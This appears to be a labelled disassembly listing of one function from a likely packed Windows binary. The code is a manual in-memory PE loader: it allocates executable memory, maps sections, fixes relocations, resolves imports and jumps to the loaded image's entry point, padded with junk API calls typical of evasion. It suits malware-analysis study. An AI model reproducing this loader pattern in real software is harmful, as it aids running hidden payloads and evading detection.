Function at 0x407870
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push ebx
push esi
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push edi
push str.kernel32.dll
mov dword [ebx], 0
mov dword [ebx + 0x20], eax
mov dword [ebx + 0x24], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp + 0xc], eax
mov eax, dword [ebx + 0x20]
mov edx, 0x5a4d
mov dword [ebx + 4], eax
cmp word [eax], dx
je 0x407903
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
test edi, edi
jne 0x4078ca
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx], edi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
push edi
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
test esi, esi
je 0x4078f2
push 0
push 0x3c0
push 0x17a
push esi
call dword [sym.imp.GDI32.dll_MoveToEx]
push esi
push edi
call dword [sym.imp.USER32.dll_ReleaseDC]
pop edi
pop esi
mov dword [ebx], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
add eax, dword [eax + 0x3c]
mov dword [ebx + 8], eax
cmp dword [eax], 0x4550
je 0x40797e
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.USER32.dll_GetCursor]
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetFocus]
push 0
call dword [sym.imp.GDI32.dll_GetStockObject]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 1
call dword [sym.imp.USER32.dll_GetSysColor]
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
neg eax
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0x64
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
mov dword [ebx], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [eax + 0x50]
mov eax, dword [eax + 0x34]
push 0x40
push 0x1000
push edx
push eax
lea ecx, [ebp + 8]
push ecx
call fcn.00406930
mov edx, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0
push 0
push 0x1f0001
mov dword [ebx + 0xc], edx
call edi
push 0
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x18
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xd
call esi
xor esi, esi
cmp dword [ebx + 0xc], esi
jne 0x407a77
push 0xffffffffffffffff
push esi
push 1
push 0x1f0001
call edi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
push esi
push 1
call edi
push 0x613e
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 6
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [ebx + 8]
mov ecx, dword [eax + 0x50]
push 0x40
push 0x2000
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebx + 0xc], eax
cmp eax, esi
jne 0x407a77
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
mov dword [ebx], esi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
lea edi, [ebp + 8]
call fcn.00406a10
call fcn.00406730
mov edx, dword [ebp + 8]
push 0x14
push esi
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebx + 0xc]
mov dword [ebx], eax
mov dword [eax + 4], ecx
mov eax, dword [ebx + 0x24]
cmp eax, esi
je 0x407aa5
mov edx, dword [ebx + 0xc]
mov dword [eax], edx
mov eax, dword [ebx]
mov dword [eax + 0xc], esi
mov ecx, dword [ebx]
mov dword [ecx + 8], esi
mov edx, dword [ebx]
mov dword [edx + 0x10], esi
mov eax, dword [ebx + 8]
mov ecx, dword [eax + 0x50]
mov edx, dword [ebx + 0xc]
push 0x40
push 0x1000
push ecx
push edx
lea esi, [ebp + 8]
call fcn.00406aa0
mov eax, dword [ebp + 8]
mov ecx, dword [ebx + 8]
push 0x40
mov dword [ebx + 0x10], eax
mov edx, dword [ecx + 0x54]
mov eax, dword [ebx + 0xc]
push 0x1000
push edx
push eax
lea esi, [ebp + 8]
call fcn.00406b30
mov ecx, dword [ebp + 8]
mov eax, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov dword [ebx + 0x10], ecx
mov esi, dword [eax + 0x3c]
add esi, dword [edx + 0x54]
push esi
push eax
push ecx
call fcn.00409950
mov eax, dword [ebx + 4]
mov ecx, dword [eax + 0x3c]
add ecx, dword [ebx + 0x10]
mov edx, dword [ebx]
mov dword [edx], ecx
mov eax, dword [ebx]
mov ecx, dword [eax]
mov edx, dword [ebx + 0xc]
mov dword [ecx + 0x34], edx
mov eax, dword [ebx]
mov ecx, dword [ebx + 8]
mov edx, dword [ebx + 0x20]
push eax
push ecx
push edx
call fcn.00406d60
mov ecx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
add esp, 0x18
sub eax, dword [ecx + 0x34]
mov dword [ebx + 0x14], eax
je 0x407b4b
push eax
mov eax, dword [ebx]
call fcn.004068a0
add esp, 4
mov ecx, dword [ebx]
call fcn.00407400
test eax, eax
je 0x407c5e
mov edx, dword [ebp + 0xc]
push 0x41e4cc
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov eax, dword [ebx]
mov dword [ebp + 8], eax
mov eax, dword [eax]
movzx ecx, word [eax + 0x14]
xor edx, edx
lea ecx, [ecx + eax + 0x18]
mov dword [ebp + 0xc], 0
cmp dx, word [eax + 6]
jae 0x407c3b
lea edi, [ecx + 0x24]
mov dword [ebp - 4], edi
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x407bcb
mov eax, dword [edi - 0x14]
mov edi, dword [edi - 0x1c]
push 0x4000
push eax
lea esi, [ebp - 0xc]
call fcn.00406bc0
mov edi, dword [ebp - 4]
jmp 0x407c1d
lea ecx, [edx + ecx*2]
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x4254cc]
test eax, 0x4000000
je 0x407be5
or edx, 0x200
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x407c0a
test al, 0x40
je 0x407bfa
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [eax + 0x20]
jmp 0x407c06
test al, al
jns 0x407c1d
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
mov ecx, dword [eax + 0x24]
test ecx, ecx
je 0x407c1d
mov eax, dword [ebp - 8]
test eax, eax
je 0x407c1d
lea esi, [ebp - 0x10]
push esi
push edx
mov edx, dword [edi - 0x1c]
push ecx
push edx
call eax
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx]
mov eax, dword [ebp + 0xc]
movzx edx, word [ecx + 6]
inc eax
add edi, 0x28
mov dword [ebp + 0xc], eax
mov dword [ebp - 4], edi
cmp eax, edx
jl 0x407b94
mov eax, dword [ebx]
mov ecx, dword [eax]
mov eax, dword [ecx + 0x28]
test eax, eax
je 0x407c82
mov ecx, dword [ebx + 0xc]
add eax, ecx
mov dword [ebx + 0x18], eax
je 0x407c5e
push 0
push 1
push ecx
call eax
mov dword [ebx + 0x1c], eax
test eax, eax
jne 0x407c79
push 0
mov dword [ebx], 0
call fcn.00406cd0
add esp, 4
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [ebx]
mov dword [edx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8